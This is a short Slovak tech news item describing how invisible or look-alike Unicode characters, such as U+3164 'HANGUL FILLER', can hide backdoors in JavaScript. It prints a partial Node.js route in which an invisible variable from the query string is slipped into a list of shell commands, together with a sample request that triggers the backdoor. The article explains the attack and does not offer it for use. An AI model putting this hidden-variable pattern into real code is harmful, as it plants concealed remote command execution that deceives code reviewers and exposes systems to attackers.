Použitie neviditeľných znakov unicode na skrytie akcií v kóde JavaScript

Po metóde útoku Trojan Source, ktorá je založená na použití znakov Unicode, ktoré menia poradie zobrazovania obojsmerného textu, bola zverejnená ďalšia technika na zavádzanie skrytých akcií, použiteľná pre kód JavaScript. Nová metóda je založená na použití unicode znaku „ㅤ“ (kód 0x3164, „HANGUL FILLER“), ktorý patrí do kategórie písmen, ale nemá viditeľný obsah. Kategória Unicode, do ktorej tento znak patrí, je od špecifikácie ECMAScript 2015 povolená na použitie v názvoch premenných JavaScriptu, vďaka čomu je možné vytvárať neviditeľné premenné alebo nové premenné, ktoré sú na nerozoznanie od iných premenných v obľúbených editoroch kódu, ako sú Notepad++ a VS Code.

Ako príklad je uvedený kód pre platformu Node.js, v ktorej je pomocou premennej pozostávajúcej z jedného znaku „ㅤ“ skryté zadné vrátka, ktoré umožňujú spustenie kódu určeného útočníkom: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // v skutočnosti to hovorí „const { timeout,ㅤ \u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // po čiarke nasleduje znak \u3164 ];

Na prvý pohľad sa cez externý parameter prenesie len hodnota timeoutu a pole s príkazmi, ktoré sa majú vykonať, obsahuje neškodný pevný zoznam. V skutočnosti sa však po premennej timeout priradí hodnota ďalšej neviditeľnej premennej s kódom znaku \u3164, ktorá je tiež nahradená do poľa spustiteľných príkazov. Ak je teda takýto dizajn dostupný, útočník môže poslať požiadavku ako „https://host:8080/network_health?%E3%85%A4=command“, aby aktivoval zadné vrátka a spustil svoj kód.

Ďalším príkladom je znak "ǃ" (ALVEOLAR CLICK), ktorý možno použiť na vytvorenie vzhľadu označujúceho výkričník. Napríklad výraz „if(environmentǃ=ENV_PROD){" pri spustení v Node.js 14 bude vždy pravdivý, pretože nekontroluje rozdiel, ale priradí hodnotu ENV_PROD premennej „environmentǃ“. Medzi ďalšie zavádzajúce znaky Unicode patria „/“, „−“, „+“, „⩵“, „❨“, „⫽“, „꓿“ a „∗“.

Zdroj: opennet.ru

Pridať komentár